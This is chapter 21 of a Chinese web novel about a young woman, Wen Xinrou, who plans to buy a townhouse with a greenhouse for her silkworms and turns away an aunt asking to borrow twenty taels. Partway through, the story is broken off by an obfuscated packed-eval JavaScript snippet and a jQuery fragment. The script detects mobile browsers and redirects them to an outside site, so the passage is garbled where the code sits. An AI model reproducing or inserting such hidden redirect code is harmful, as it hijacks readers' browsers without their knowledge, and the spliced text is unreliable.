21. 第 21 章

作品:《童养婿真的能顺利成亲吗?

    幸运的是宅子还在。


    因为房东要价太高,还有额外的附加条件,导致并没有几人想要买。


    虽然这宅子宽敞,位置也很好,周围进出都是有脸面的人家,不论安全还是其他都是很好的,但是好房子多得很,有人也不想单单在这一套房子上耗费时间。


    房东要价二百八十两,按这条街上差不多的房子来说,确实贵了几十两。


    但房东却说,住在这里的人应该不差这几十两,而且宅子里都带着原本的家具,只需再添置点日常用品,就可以住进去了,十分方便。


    尤其是那间暖房,房东当初的造价就高达二百两了,耗费的心力更是不用计算了,要不是为了用钱,他怎么都不会往外卖这处宅子的。


    所以,相中这套宅子的大有人在,可是真想要买的,却没有几人。


    这不,这几个月只有温心柔一家来问,因此房东也是有些着急了。


    牙人带着他们又逛了一圈这宅子,温心柔真是越看越喜欢,尤其在暖房逛了好几圈。


    这要是今年冬天搬进来,她的养蚕事业就可以不用停下了,不然以冬天的气温,在室外,蚕宝宝们是活不了的。


    而且这处暖房占地有几十平方米,除了养蚕,还可以开辟出一块来种花种菜,这样即便是在城里,也有可以有新鲜的蔬菜吃了。


    房东还留下了不少的花草,说一并打包和宅子卖了。


    温心柔看了看老两口,不知道他们怎么想的。


    温大力和温左氏没有什么想法,这银子再好也是柔宝自己赚的,不论买什么,他们是全力支持的,更别说是宅子这样的硬通货了。


    就这样,温心柔给了牙人二十两定金,准备再和房东打打价,最好是二百五十两左右,这个价格才比较合适。


    和牙人交代好,一家人这才热热闹闹地回家去了。


    只是三天没有回来,温心柔一进家门倒是有些陌生的感觉了。


    几人把车上的的大包小包卸下来,便各自去忙了,家里的活总是干不完的。


    温大力卸下木板车,给牛喂上草料;温左氏把买回来的东西放置好,还有带回来的剩菜要再热一下晚上吃;温木把买回来的书本整齐地放好,便换了干活的衣服去蚕房了。


    温心柔左摇右晃的,看哪里都用不上她,只好抱着小箱子回房间数银子了。


    等到数了好几遍银子,她终于满足地放下箱子,顺便藏好。


    当然她还有很重要的事情,就是杨夫人的委托,她都收了定金了!


    杨夫人这位友人,听着倒是个爱恨分明的人。喜好也很明确,只是她是权贵之家,见过的好东西不计其数,究竟什么样子的布料才能获得她的心意呢?


    温心柔想起了秋天的枫叶,布满漫山遍野,火红的颜色好似要把整座山给燃烧起来。


    或许那位女子也是这样的人。


    温心柔还没有思考多久,门口就传来温四婶的声音,这人又来了。


    “嫂子,你回来了吗?”


    温左氏正在厨房里忙活晚上的晚饭呢,听到她的声音,她的动作一下子停下来,赶紧把带回来的好菜收起来。


    她是真怕那人直接进厨房来看她们家今晚吃什么,以前也不是没有过。


    温左氏连忙出了厨房,笑道:“我也是刚回来,弟妹,找我有事吗?”


    温四婶拉着小儿子凑上来热情道:“哎呀!没事我就不能来看看嫂子吗?要知道咱们可是实在亲戚,亲近着呢!”


    温左氏笑着没有搭话。


    温四婶转了转眼球问道:“嫂子怎么进城那么多天,可是家里有什么事了?要是需要帮忙只管说出来,我们肯定帮忙,孩子他爸还在家闲着呢!”说着,拉着一旁乱动的温虎:“你这孩子怎么这么没礼貌,快叫伯娘呀!”


    温虎看了眼娘亲,不情不愿地叫了:“伯娘!”


    温左氏笑了笑,伸手从一旁的簸箕里抓了一把红枣给他。


    温虎撇撇嘴,不情愿地收下了。


    娘还说叫伯娘有肉吃呢,结果还是枣子!他可不想要吃枣子,想吃枣子家里就有,何必上这里来吃枣子,早知道还不如和姐姐在家里待着呢!


    温四婶暗中打量了一下院子里,见没有多出什么东西,也没有人出来,便询问道:“家里只有嫂子在家吗?怎么不见大哥和心柔呀?”


    “他去喂牛了。”温左氏淡淡地回答,看着这人东拉西扯的,她实在是没有时间耗下去了,便再一次问道:“弟妹这次来是?”。


    话音刚落,温四婶面露难色:“嫂子其实这次来,我是有事相求你的。”


    温左氏心想,果不其然,她还是看看她这弟妹这次是借钱还是借物了。


    房门口,温心柔刚探出脑袋想要看看,就被温左氏发现了,她眼神示意她不要出来。


    温心柔看着院子里一大一小的背影,歪歪头,听了娘亲的话,乖乖地把脑袋收了回去,只在门口听着院子里的动静。


    温四婶拉着小儿子说着自己不容易,一个劲儿的看向屋里。


    看来她们是想要进屋细细说了,温左氏叹了口气,只好带着两人进了堂屋,正巧堂屋桌子上还有刚才没有放起来的糕点,这下也得给她们了。


    “一会走的时候,带点点心走吧,快中秋了,也给孩子们尝尝。”


    温四婶瞅了瞅精致的包装就笑开了,一个劲的点头,她立马抓起桌子上的一盒放在腿边,生怕一会忘记带走。


    温虎看到娘亲拿了糕点,立刻就想要拆开尝尝。


    温四婶宠他归宠他,但是这样贵重的东西她还是要先拿回家的,这么精致的糕点,摆放在家里肯定有面子的很,可不能让孩子先吃了。


    “你老实点,等回去了再给你吃!”


    “娘骗人,等回去了才不给我吃,肯定全给那周三郎吃的!”温虎说着便坐在地上大哭起来。


    温四婶脸黑黑的,伸手打了他几下,很坚决的抱着糕点不退步。


    温左氏不忍,连忙拆开一包,给他拿了几块酥饼哄他:“小虎,别哭了,这还有呢,快来吃。”


    看着温左氏哄着儿子,再看看那包新打开的糕点,温四婶心里又觉得这次她来的目的肯定能成!


    她这嫂子还是心疼温家孩子的,这样贵的糕点眼睛都不眨就打开了一包,


    “还不快谢谢你伯娘!”


    “谢谢伯娘!”温虎这次很干脆的道谢了,说完,立刻抱着酥饼跑到一边吃起来了,生怕他娘亲不给他吃。


    温四婶这才慢慢吞吞的说明来意:“嫂子,实不相瞒,我这次来是有大事求你了,只有你能帮我了。”说着还用手帕擦了擦眼泪。


    她这番样子温左氏见的多了,她心里有了计较,看来是借钱的,不然不会这样示弱的。


    “还不是巧巧那丫头,这都十六了,翻过年都十七了,岁数一天比一天打,我想给她说个好婆家,让她以后不像我这样过苦日子就行。”


    “我费了好大的力气才相中一户好人家,可是我看中的那家人,家里有钱是有钱,但就是不给我个准话,老是拖着我,最近我才托人问到,那周家是觉得我们家巧巧配不上他家三郎,居然想要巧巧给他家二郎做续弦!”


    “我们巧巧可是黄花闺女,怎么可能娶给人家当续弦!即使那周二郎没有孩子也不行!”


    “说到底,还不是因为我们家没钱,这才让周家欺负的!但是我们没钱没力的,大伯家有呀!所以,我这是走头无路了,才来求求嫂子的。”


    温左氏听的一头雾水,什么周家三郎,二郎的,“你说的这个周家是咱们村西边的那个富户周家?”


    “对就是那一家,嫂子你也知道,咱们巧巧若是嫁到那家,她这一辈子就不用愁了。”


    温左氏还真的知道那周家,也知道他家一共三个儿子,没成家的只有那个小儿子周天朗。


    而且她还知道,这个周天朗,还是之前柔宝一直惦念的那个人!之前柔宝在家里撒泼打滚,非要和周家定亲,可是把她和温大力愁坏了。


    只是柔宝过了生辰之后,不知道怎么着,直接把那小子放下了,竟是再也不提了,他们还高兴了一段时间呢!


    没想到,这人居然阴魂不散的又出现了,温左氏嘴角抽了抽,怎么她这弟妹也看上了这小子。


    她可是记得,知道柔宝喜欢这小子之后,她立刻和老头子托人去打听了,那家富裕是富裕,但就是家风不怎么样,婆婆人品不咋地。


    没听村里人说嘛,这家的老婆婆都把她家老二媳妇搓磨的受不了,竟然带着孩子一起投了河了!她家老二这才当了鳏夫。


    知道这事之后,老两口直接打消了这份结亲的心思,他们可舍不得让柔宝去这家受罪。


    温左氏劝道:“弟妹,那户人家你打问清楚了吗?我听说那户人家家风不太好,婆婆严苛的很。”


    温四婶不在意道:“当媳妇的,哪有不受搓磨的,大家都是这样过来的,主要的是人家条件好!条件好了自然生活就好了,那些小事就都能忍下来了。”


    她眼里越说越亮:“周家三郎是真的优秀,听说现在还在读书呢,听说年底还要去城里考什么试,这要是考上了,那以后就是官老爷了!我们巧巧嫁进去,到时候就是官夫人了呀!”


    说着说着便喜不自胜起来,然后还悄悄的撇了温左氏一眼,心想到那时候就是她来求自己办事了。


    温左氏见劝不动,只好不再多说话,“那巧巧和周家三郎定下了吗?”


    温四婶叹了口气:“他们家不舍得小儿子,说小儿子还在上学,说不定以后还去县里上学呢,他的婚事不着急,只说着我们


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102345|194033||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    家巧巧和周二郎合适。”


    “可是那周二郎是个鳏夫啊,我们巧巧还是个黄花大闺女!”她气的很。


    “确实是,我也觉得不妥。”温左氏静静等着她的下文。


    “所以,所以,我这不是来求嫂子来吗?”温四婶语气都变得讨好起来。


    “这这?我也同那户人家没有交情,恐怕说服不了他们。”温左氏有些尴尬。


    “不是不是,嫂子相差了,我只是盼着嫂子借我些银钱,然后我把巧巧的嫁妆多准备一点,也让那周家看看,我们家也是不差的!然后说不定周家就会回心转意了!”


    温左氏被她的脑回路惊讶的不知道说什么,呆呆地坐在椅子上,然后就看见窗户那有两个小脑袋冒出头来。


    温心柔和温木缓缓露出半个脑袋,和屋里的温左氏对上了视线。


    温左氏:......


    她揉揉脑袋,只想着眼前的这人快走,别在让两个孩子再掺和进来,尤其是柔宝!她要让柔宝离着周家远一些,可别又起了不该起的心思!


    “那弟妹想借多少?”


    温四婶眼珠子滴溜溜的转了几下:“嫂子也知道,现在好布料都快一两银子一匹了,除了好的棉布料子,我还想着给巧巧置办一匹丝绸压箱底呢!到时候也让村里人看看,我们家巧巧可是村里第一个有丝绸压箱底的娘子!”


    她讨好地笑着,“不多不多,二十两银子就好。”


    听到这个数字,温左氏瞪大了眼睛,一时说不出话来。


    外边蹲着的温心柔和温木也面面相觑,这可真是狮子大开口了!


    一匹布料顶了天也就一两银子,置办上几匹就是五两;一匹丝绸最便宜也得五两银子,这就是十两了,剩下的再买些头面和别的,二十两正好够了。


    这竟然是让她家把温巧巧的嫁妆都置办了,她这婶娘可真能说得出来。村子里嫁人的姑娘,嫁妆最好的也不过五两银子,她婶娘这是想干什么!


    屋里屋外的人都沉默着,结果温四婶还能做出更过分的呢!


    只见屋里她继续说道:“嫂子,我也不是白借你的,等到你和大哥用人的时候,心柔也嫁了出去帮不上忙,到时候就让小虎来照顾你们,给你们撑门面,看谁还敢欺负你们!”


    她说完便一脸期待的看着温左氏,等着拿银子。


    温左氏气的脸都红了,她知道这人一直惦记她家,但是真没想到她都和老头子打了让柔宝招婿的念头了,温木都在家里住着了,居然还来这样说!


    屋外的温心柔怕娘亲气坏了,立刻站起身来跑进去。她先给娘亲倒了杯水慢慢喝喝,然后给轻轻地给娘亲拍背顺着气。


    温四婶也被这一幕惊到了,赶忙上前关心:“嫂子这是怎么?身体不舒服?难道之前进城是去看病去了?”


    温心柔狠狠瞪了她一眼:“婶娘还是快回去吧,我娘今天不舒服,就不留你了。”


    温四婶还没有借到钱呢!怎么会甘心回家呢!她自然不会轻易放弃:“嫂子,那钱怎么办呢?”


    温左氏脸一白,刚想说话,却被温心柔制止了:“婶娘还是给姐姐找个靠谱的婆家吧,借钱置办嫁妆终归不是个好方法!”


    “哎吆,你这小丫头懂什么,大人的事不是你想的那么简单的,凡事总要试试才行!”温四婶不依不饶。


    “我懂什么?我懂我家里的钱我可以做主,我不想借,自然就接不出去!”原身那骄纵的性子最好用了,温心柔开始演戏了。


    温四婶脸色一下子变得不好看,她沉着脸刚想说些难听的,温木就端着一碗糖水走进来了。


    他把碗放在桌子上,用勺子舀了一勺喂到温左氏嘴边。


    温四婶愣了愣,看着眼前的少年心里还是有些打鼓,也没有刚才那不依不饶的样子了。


    看到温木仔细地照顾着娘亲,温心柔放下心来,直接放开了手脚,演的更起劲了。


    “四婶娘,你要是觉得你很懂,那咱们就出门去说说,让大家听听看,评论评论谁说的有理怎么样?”


    她仰着脑袋,摆出一副无所畏惧的样子道:“你敢不敢?”


    温四婶可不敢出去说这样的话,她对着温家有理,是因为她习惯了,这么多年来她都是这样干的。


    她默认为他们家没儿子,那么这家所有的东西以后就是她的,既然以后都是她的,提前预支一些又算什么?


    她来借钱都没有想过要还的。


    要是出去说这些话,她头皮发麻,那她可别想在村里混下去了!村里的吐沫星子不得淹了她!


    想到那个画面,她只好憋屈的领着温虎走了,临走时还狠狠的瞪了温心柔一眼。


    “你等着!你这小丫头,以后你们可别求到我们头上来!”


    温心柔翻了个白眼,她才不会去求他们!